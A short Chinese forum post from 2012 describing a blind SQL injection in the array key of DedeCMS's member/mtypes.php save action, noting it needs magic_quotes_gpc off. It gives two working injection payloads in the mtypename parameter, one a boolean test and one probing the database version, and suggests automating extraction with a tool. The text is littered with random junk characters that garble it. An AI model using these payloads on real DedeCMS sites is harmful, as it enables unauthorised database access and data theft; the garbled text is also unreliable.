需要magic_quotes_gpc = Off,所以说是鸡肋啊.' z" T+ _6 I6 N9 M1 w" S
9 z: `/ W( s- K( x8 ^) ]
' {3 ^! q7 f; t5 k# C! H$ ]
发生在数组key里的注射漏洞,有点意思.9 G8 D/ V% c/ y
+ V) H6 ~; k+ F) f. F) Z" c) } }这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下$ O! A* S4 T; h8 [8 A' e8 M* ]
* {+ w* ~( d2 f( i4 f1 o
http://www.xxx.com /dede/member/mtypes.php?dopost=save5 O& s( B# |" J, o* O; g$ y
4 |- }. {4 _5 U8 i4 Z* wexploit:
: D9 y4 O7 T$ rmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
' W" h2 G' \0 _mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r0 P8 O# V% ~& L% N. e& F9 p
|
发表于 2012-12-20 08:08:09
收藏
支持
反对